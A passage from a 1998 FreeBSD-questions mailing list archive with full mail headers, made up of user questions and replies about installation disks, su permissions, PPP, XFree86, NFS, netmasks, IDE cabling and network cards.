Gateway machines > here at school. Assuming yours is the same, the 6.4G disk is on a Promise > Ultra DMA IDE controller (or some buzzwords to that effect), which is not > supported in -stable. Last time I checked, it was recognized and useable > (but didn't support all the features) in -current. > > Depending on what you want to use your computer for (and how reliable you > need it to be), you could install -current, or add a smaller IDE drive. > Adding another drive may require you to remove the CD or Zip drive, or add > it to the motherboard's primary IDE. I haven't tried this to see what the > BIOS thinks of all the drives. I did install to a Zip disk, but could not > get it to boot, and am trying to get a kernel on a floppy to run off the > Zip disk, but that's not working either... > > --Neil > > On 5 Apr 1998, Jason Sabella wrote: > > Hi Doug. Since like I said in my last message it was reading the zip > > disk, I figured I would remove the zip disk and see what would happen. > > I did, and went to install FreeBSD. Right before the screen where it > > usually goes to fdisk, it instead said: > > > > "NO DISKS FOUND! Please verify that your disk conroller is being > > properly probed at boot time. See the Hardware Guide on the > > Documentation menu for clues in diagnosing this type of problem" > > > > Well, I did that. And I checked to see if there were any conflicts with > > anything called "disk controller" in the kernel config, and there > > aren't. Also, I saw in the doc that wdc# things have to do with disk > > controllers. So I watched the screen at boot up, and it says: > > > > wdc0 not found at 0x1f0 > > wdc1 at 0x170-0x177 irq 15 on isa > > > > I don't know what that means, but maybe it will help. Please tell me > > any suggestions so that it will read my hdd. Thank you..Jason Sabella > > > > --- > > > > Doug White wrote: > > > > > > On Fri, 3 Apr 1998, Jason Sabella wrote: > > > > > > > Hi Doug. I only have the one hard 6.4 GIG hard drive. I don't know > > > > what that "wd2" is. Is that possibly a wrong partition? Is there a way > > > > to change it to a different "wd" in the install program(if such a thing > > > > exists). My current configuration is this: > > > > > > You should be prompted before going into fdisk for which disk you want. > > > > > > Post your boot message output again. > > > > > > > But the installation program still says: > > > > Disk name: wd2 <<----- > > > > Disk Geometry: 512 cyls/12 heads/32 sectors = 196608 sectors > > > > Offset Size End Name Ptype Desc Subtype Flags > > > > 0 32 31 - 6 unused 0 > > > > 32 196192 196223 wd2s1 2 fat 6 = > > > > 196224 384 196607 - 6 unused 0 > > > > > > Hm, 196608 * 512 bytes == 100663296 bytes, or a 100mb drive. > > > > > > Doug White | University of Oregon > > > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > > > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 10:53:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA16791 for freebsd-questions-outgoing; Sun, 5 Apr 1998 10:53:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaring.my (jaring.my [192.228.128.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA16785 for ; Sun, 5 Apr 1998 10:53:06 -0700 (PDT) (envelope-from vaxen@deathsdoor.com) Received: from deathsdoor.com (j9.brf23.jaring.my [161.142.2.71]) by jaring.my (8.8.7/8.8.7) with ESMTP id BAA01549 for ; Mon, 6 Apr 1998 01:52:33 +0800 (MYT) Message-ID: <35267514.5209852D@deathsdoor.com> Date: Sun, 05 Apr 1998 01:59:49 +0800 From: LordVaXen X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: OPenBSD FREEBSD BSDI ??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG emm..i just wanna know .. which of this three is the best .. and wats the diffrence.. thanx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 10:53:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA16892 for freebsd-questions-outgoing; Sun, 5 Apr 1998 10:53:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fire.adept.co.za (fire.adept.co.za [196.36.161.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA16778 for ; Sun, 5 Apr 1998 10:52:58 -0700 (PDT) (envelope-from Delete@ADEPT.CO.ZA) Received: from delete (dial-33.adept.co.za [196.36.161.33]) by fire.adept.co.za (8.8.5/8.6.10) with SMTP id TAA28968 for ; Sun, 5 Apr 1998 19:53:01 +0200 Message-ID: <3527C605.203C@ADEPT.CO.ZA> Date: Sun, 05 Apr 1998 19:57:25 +0200 From: Delete Reply-To: Delete@ADEPT.CO.ZA Organization: bla X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Stupid Question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't want to offend anyone and I might sound stupid but which files do u need to download to have this operating system. Please help me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:14:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA19192 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:14:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.uky.edu (smtp.uky.edu [128.163.1.168]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA19183 for ; Sun, 5 Apr 1998 11:14:22 -0700 (PDT) (envelope-from rwmcfa1@pop.uky.edu) Received: from pop.uky.edu (pop.uky.edu [128.163.1.174]) by smtp.uky.edu (8.8.8/8.8.5) with ESMTP id OAA16134 for ; Sun, 5 Apr 1998 14:14:54 -0400 (EDT) Received: from win95-133 (lex8.kih.net [206.105.105.137]) by pop.uky.edu (8.8.4/(UKY.POP.1.4)) with SMTP id OAA17640 for ; Sun, 5 Apr 1998 14:10:27 -0400 (EDT) Message-ID: <000d01bd60be$2d7a89a0$896969ce@win95-133> From: "Ross McFarland" To: Subject: the su command and specifing who can telnet Date: Sun, 5 Apr 1998 14:10:53 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000A_01BD609C.A4E86420" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000A_01BD609C.A4E86420 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have two hopefully quick questions. 1) I've found and understand how the ftp access is controlled by a file, = where and\or how can I control who can access the server by Telnet? I = have a user name for apache to run under and would like to restrict its = ability to log in from any where other than the console. 2) how do I allow a user to su to root. I've tried setting group to = 0(wheel) and using the log in class root, staff and everything else I = can think of in every combination. when I try it always says FreeBSD 20: su something about kerberos (how ever it's spelled) passwd not found and = not being in root's ACL something about not being in the correct group to su to root FreeBSD 21: this message is always given to me no matter how I've tried to set group = id and login class, I assume that ACL is Access Control List but have no = idea where it is or how to set it up. I've looked numerous times through the man, doc, and FAQ, along with = other UNIX documents and up to this point I've come up empty.=20 any help you all could give would be greatly appreciated=20 thanks in advance, Ross McFarland rwmcfa1@pop.uky.edu http://sac.uky.edu/~rwmcfa1/ ------=_NextPart_000_000A_01BD609C.A4E86420 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have two hopefully quick=20 questions.
 
1) I've found and understand how the = ftp access=20 is controlled by a file, where and\or how can I control who can access = the=20 server by Telnet?  I have a user name for apache to run under and = would=20 like to restrict its ability to log in from any where other than the=20 console.
 
2) how do I allow a user to su to = root. =20 I've tried setting group to 0(wheel) and using the log in class root, = staff and=20 everything else I can think of in every combination.  when I try it = always=20 says
 
FreeBSD 20: = su
something about kerberos (how ever = it's spelled)=20 passwd not found and not being in root's ACL
something about not being in the = correct group=20 to su to root
FreeBSD 21:
 
this message is always given to me = no matter how=20 I've tried to set group id and login class, I assume that ACL is Access = Control=20 List but have no idea where it is or how to set it up.
 
I've = looked numerous=20 times through the man, doc, and FAQ, along with other UNIX documents and = up to=20 this point I've come up empty.
 
any help you all could give would be = greatly=20 appreciated
thanks in=20 advance,
 
Ross McFarland
rwmcfa1@pop.uky.edu
http://sac.uky.edu/~rwmcfa1/
 
------=_NextPart_000_000A_01BD609C.A4E86420-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:47:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA22785 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:47:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA22778 for ; Sun, 5 Apr 1998 11:47:00 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id OAA13597 for ; Sun, 5 Apr 1998 14:51:48 -0400 (EDT) Date: Sun, 5 Apr 1998 14:51:48 -0400 (EDT) From: "Stephen A. Derdau" To: freebsd-questions@FreeBSD.ORG Subject: HELP fstab Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyway to edit fstab if the file system is read only. have done mount -u / ## however I guess / is the problem it comes back stating /dev/rwd0a on /: Block device required. #### here is part of my df output: root_device / /dev/wd1s1f / /dev/wd1s1e /var Hope someone can help and not say I have to reinstall! O well if so more practice :-) just had everything running so good too. Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:47:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA22964 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:47:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org ([195.166.136.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA22926 for ; Sun, 5 Apr 1998 11:47:43 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id TAA26462; Sun, 5 Apr 1998 19:45:27 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804051845.TAA26462@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Creig Eckersley cc: freebsd-questions@FreeBSD.ORG Subject: Re: Need Help In-reply-to: Your message of "Sun, 05 Apr 1998 04:10:01 PDT." <35276689.3F0B53F6@webpoint.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Apr 1998 19:45:26 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Can't find ifindex Tun 11 is the error we receive when device tun 11 is > needed running PPP connection even though tun 11 is present > > will open it and then states it is busy at times > > version 2.1.5 Try upgrading to the latest ppp on http://www.FreeBSD.org/~brian and make sure that you've got more than 10 tuns configured in your kernel. > thank you > creig -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:51:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA23750 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:51:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cube3.erinet.com (cube3.erinet.com [198.6.245.53]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA23742 for ; Sun, 5 Apr 1998 11:50:55 -0700 (PDT) (envelope-from richard@cube3.erinet.com) Received: from localhost (richard@localhost) by cube3.erinet.com (8.8.8/8.8.7) with SMTP id OAA20576 for ; Sun, 5 Apr 1998 14:58:47 -0400 (EDT) (envelope-from richard@cube3.erinet.com) Date: Sun, 5 Apr 1998 14:58:47 -0400 (EDT) From: Richard Stanaford To: freebsd-questions@FreeBSD.ORG Subject: XFree86 requests a missing /dev/ttyv4?? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hey all! Having a blast with FreeBSD. I got so fed up with Microsoft I decided to turn my desktop machine at work in to an X workstation. So I got FreeBSD 2.2.6-RELEASE and I am dual booting with Win95 for those poor souls who might need to use my machine while I am not there. :-) The installation went without a hitch and I set to getting X up and running, doing the best I can with a Trident 9750 AGP card. *Sigh* That is another story.. :-/ I get XFree86 configured and tried 'startx' and it screamed and yelled about not being able to find /dev/ttyv4. Humm.. well, I just used 'mknod' to create it and it made X happy, no big deal. I was just wondering if any of you out there have run in to the same thing, or was this isolated to me, possibly something I missed in the setup? Thanks, - Richard To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:52:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA24125 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:52:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from solaris.matti.ee (root@solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA24049 for ; Sun, 5 Apr 1998 11:51:28 -0700 (PDT) (envelope-from vallo@matti.ee) Received: from localhost (vallo@localhost [127.0.0.1]) by solaris.matti.ee (8.8.8/8.8.8.s) with SMTP id VAA28110 for ; Sun, 5 Apr 1998 21:51:14 +0300 (EET DST) Date: Sun, 5 Apr 1998 21:51:13 +0300 (EET DST) From: Vallo Kallaste X-Sender: vallo@solaris To: questions@FreeBSD.ORG Subject: mount error Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello ! I'm currently using -current on my workstation. If I try to mount from 2.2.5-RELEASE machine or from Solaris 2.5.1 box all what I get is: nfs: bad MNT RPC: RPC: Authentication error; why = Client credential too weak /etc/exports flags are "-alldirs -ro -mapall=nobody" without quotes, certainly :). What I can do for this situation ? Thanks Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 11:54:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA24643 for freebsd-questions-outgoing; Sun, 5 Apr 1998 11:54:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail0.tor.acc.ca (mail0.tor.acc.ca [204.92.54.110]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA24610 for ; Sun, 5 Apr 1998 11:54:34 -0700 (PDT) (envelope-from lblake@ican.net) Received: from ppp-168.m2-1.stc.ican.net (ppp-168.m2-1.stc.ican.net [206.248.77.168]) by mail0.tor.acc.ca (8.8.8/8.8.8) with SMTP id OAA14715; Sun, 5 Apr 1998 14:54:28 -0400 (EDT) Message-ID: <3527EED6.4F3@ican.net> Date: Sun, 05 Apr 1998 13:51:34 -0700 From: Laura Blake Reply-To: lblake@ican.net Organization: TansEqual X-Mailer: Mozilla 3.04 (Win16; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Need a little help deciding... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sirs, I am presently contemplating a change of operating system on my personal computer. My system configuration, at present is this: Intel 386-dx40 (yes I know, I should update that), 8 mb ram, 900mb hard drive on two physical units, Cardinal MVP33I 33.6 modem with internal V-42, Trident 8900d video card with 1mb ram. I'm presently using DOS 6.22 and Win3.1 with a modest complement of programs, mostly used for word processing and ppp dialout to the internet. Now, this won't be your typical BSD type installation as far as I can tell from reading your on-line documentation. What I need to set up is the ability to access this system remotely, preferably while I'm using it locally. I also need something like Unix permissions to keep people out of the places I want them kept out of . The system will not, however be connected to a network. Internet access will be as it is now via ppp dialout. There are, however, two complications: 1) My $#@^ modem is plug and play programmed for i/o port every time I reboot my system. While this will survive most warm boots, it will not survive a hard reset. The problem is that the "PNPSET" utility I use under DOS does not have a BSD, LINUX, or whatever equivalent. This means the only way I can presently activate my modem is by booting into DOS. My requests for information about how this works have gone unanswered by Cardinal itself, and I can't seem to find anyone who knows that that little proggy actually does. (There is a win95 appi for this too, but they are just as secretive about it.) 2) Once in DOS it would be necessary to jump to BSD. Preferably through a simple command like "GOBSD" that can be entered at the dos prompt. I do not want my second OS to actually run "under" DOS, but I will need to be able to start it from DOS. 3) It may be occasionally necessary to exit BSD and return to DOS for various tasks. So I will need something like a "GODOS" command that can be executed under BSD. I realize that BSD can run text mode DOS programs now, but I will neeed to completely exit BSD and return to dos on occasion. Any information you can give me about getting this working would be greatly appreciated. Thanks in advance... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:05:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26006 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:05:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org ([195.166.136.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25991 for ; Sun, 5 Apr 1998 12:05:30 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id TAA26441; Sun, 5 Apr 1998 19:44:01 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804051844.TAA26441@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: "Ellon Peterkin" cc: freebsd-questions@FreeBSD.ORG Subject: Re: PPP In-reply-to: Your message of "Sun, 05 Apr 1998 05:09:01 EDT." <000101bd6072$7a7702c0$0300a8c0@trevor1.gate.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 05 Apr 1998 19:44:01 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Take a look at http://www.FreeBSD.org/FAQ/userppp.html Your best bet is to use tcpdump or ppps internal tcp/ip logging to trace where the problem is. > I am running FreeBSD 2.2.5Rel...and I get PPP to work perfectly on this > machine...however when I set this machine up on a network with win95 clients > > and set gateway = "yes" > and run ppp using > ppp -auto -alias myisp > and set the Windows95 clients gateway setting to the IP of the this FreeBSD > box. > > The BSD box will not try to connect whenever I try to access the net...and > this is something that I've gotten to work quite a few times in the > past.....Can anyone help me out here? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:06:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26127 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:06:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from send1c.yahoomail.com (send1c.yahoomail.com [205.180.60.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA26061 for ; Sun, 5 Apr 1998 12:05:51 -0700 (PDT) (envelope-from chunkc@yahoo.com) Message-ID: <19980405190642.10379.rocketmail@send1c.yahoomail.com> Received: from [209.194.12.8] by send1c; Sun, 05 Apr 1998 12:06:42 PDT Date: Sun, 5 Apr 1998 12:06:42 -0700 (PDT) From: Jay Camp Subject: Drivers To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there a way to make a driver for a piece of hardware that I have? (as in making it myself) _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:06:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA26593 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:06:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from java.dpcsys.com (java.dpcsys.com [206.16.184.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA26519 for ; Sun, 5 Apr 1998 12:06:39 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by java.dpcsys.com (8.8.7/8.8.5) with SMTP id MAA11653; Sun, 5 Apr 1998 12:06:35 -0700 (PDT) Date: Sun, 5 Apr 1998 12:06:35 -0700 (PDT) From: Dan Busarow To: "M. Monninger" cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: Invalid netmask? In-Reply-To: <3.0.5.32.19980404121813.009ae350@pop.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, M. Monninger wrote: > OK...the netstat output is attached. My understanding has always been that > the netmask defines the network portion of the address (the 1 bits) and the > the rest (the 0 bits) are the node addresses. How can you have any nodes > addresses if the entire address is the network address? > > Not flaming, just trying to understand. An all 1's netmask creates a single host route. And for a point-to-point connection that is normally what you want. A host route to the far end. Doesn't work with ethernet though :( Not sure how wide dhcp handles this, but with the ISC dhcp client you can specify over-riding values in the client configuration file. ie supersede subnet-mask 255.255.255.0; Wide probably has a similar option, if it doesn't give ISC a try. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:12:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27479 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:12:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from crism.ne.mediaone.net (crism.ne.mediaone.net [24.128.30.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA27474 for ; Sun, 5 Apr 1998 12:12:30 -0700 (PDT) (envelope-from crism@crism.ne.mediaone.net) Received: from crism.ne.mediaone.net (localhost.ne.mediaone.net [127.0.0.1]) by crism.ne.mediaone.net (8.8.7/8.8.7) with ESMTP id PAA03062 for ; Sun, 5 Apr 1998 15:08:46 -0400 (EDT) (envelope-from crism@crism.ne.mediaone.net) Message-Id: <199804051908.PAA03062@crism.ne.mediaone.net> To: freebsd-questions@FreeBSD.ORG Subject: IDE question Date: Sun, 05 Apr 1998 15:08:41 -0400 From: "Christopher R. Maden" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- This is more of a hardware question then strictly a FreeBSD one, but here goes: I have two IDE controllers on my motherboard. One is cabled to the two floppy drives, and the other to a CD-ROM drive and to the hard drive. I have another drive, and need the space. None of my IDE cables has more than two connectors on it, and I'm wondering if this is because of a limitation in IDE itself; is it safe to drive three devices from a single controller? If so, I can fix the cables myself (my EE degree is good for something), but I can't find any specs on whether or not that'll burn anything out. Thanks in advance, crism - -- "It stinks out loud!" -- a man on the street about _Reader's Digest_, CNN Headline News. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: For my public key, finger crism@crism.ne.mediaone.net. iQB1AwUBNSfWsHSaAdkmYoAJAQHNvgL/SROgo3ZpvajmKRipONaB7Isy4h4I6bbA GGCWi4u9vjyitbP7FjjcGb9Fq7qBvwwidPn5agiFeU91wG5tmuHK92lDhQ7k23Qy +rzJgl6+yQLktbKjJ3q3i6R9lL9G7WA/ =UIyT -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:18:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA28135 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:18:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from internetuniverse.com (rbax.com [192.41.19.206] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA28117 for ; Sun, 5 Apr 1998 12:18:36 -0700 (PDT) (envelope-from support@internetuniverse.com) Received: from interuni.internetuniverse.com (ip239.an5-new-york4.ny.pub-ip.psi.net [38.26.16.239]) by internetuniverse.com (8.8.5) id NAA19155; Sun, 5 Apr 1998 13:25:07 -0600 (MDT) Message-ID: <352802D3.3CFE@internetuniverse.com> Date: Sun, 05 Apr 1998 15:16:51 -0700 From: Support Desk Reply-To: support@internetuniverse.com X-Mailer: Mozilla 3.0Gold (Win95; I; 16bit) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: ETHERNET CARD PROBLEM Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to install FREEBSD 2.2.5 on an INTEL PENTIUM 200mhz processor and find no problems with the install itself, I have tryed several times to configure a 3COM 3C905-TX PCI ethernet card in the system, freeBSD sees the card and it is installed with a vx0 configuration, the loopback looks fine, the netstat -r looks good, but the card does not light up and all pings outside the machine fail. Now this card is being set with a irq of 9, I remember that 9 might be a problem. The card software does not allow for this to be changed. You do have the card listed as a compatible ethernet card. I have tryed everything I can think of and could really use any help that can be provided. -- The Internet Universe, Inc. -- Connecting You To The Planet -- www.internetuniverse.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:21:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA28651 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:21:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from militzer.me.tuns.ca (militzer.me.Tuns.Ca [134.190.50.153]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA28639 for ; Sun, 5 Apr 1998 12:21:08 -0700 (PDT) (envelope-from bemfica@militzer.me.tuns.ca) Received: from localhost (bemfica@localhost) by militzer.me.tuns.ca (8.8.8/8.8.5) with SMTP id QAA17003 for ; Sun, 5 Apr 1998 16:13:40 -0300 (ADT) Date: Sun, 5 Apr 1998 16:13:40 -0300 (ADT) From: Antonio Bemfica To: freebsd-questions@FreeBSD.ORG Subject: Best OS for an Alpha? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Our department has just inherited two relatively new Alpha clones. We have some 15 FreeBSD boxes already (from 486s to P-Pro's). The Alphas have come with WinNT and RedHat Linux pre-installed. What OS would best work with the FreeBSD boxes (to run NFS, amd, etc)? Is there a FreeBSD-Alpha port in the works? How about NetBSD (or OpenBSD, for that matter)? I'm not likely to choose WinNT, but Linux may be good enough - I'd appreciate any suggestions. Antonio To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 12:29:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA29470 for freebsd-questions-outgoing; Sun, 5 Apr 1998 12:29:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from phoenix.welearn.com.au (suebla.lnk.telstra.net [139.130.44.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA29463 for ; Sun, 5 Apr 1998 12:29:03 -0700 (PDT) (envelope-from sue2@phoenix.welearn.com.au) Received: (from sue2@localhost) by phoenix.welearn.com.au (8.8.5/8.8.5) id FAA04977; Mon, 6 Apr 1998 05:28:51 +1000 (EST) Message-ID: <19980406052847.13592@welearn.com.au> Date: Mon, 6 Apr 1998 05:28:48 +1000 From: Sue Blake To: Harry Patterson Cc: freebsd-questions Subject: Re: crontab problems References: <01bd5fd8$f4084800$5fca4ace@hp.harry.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: 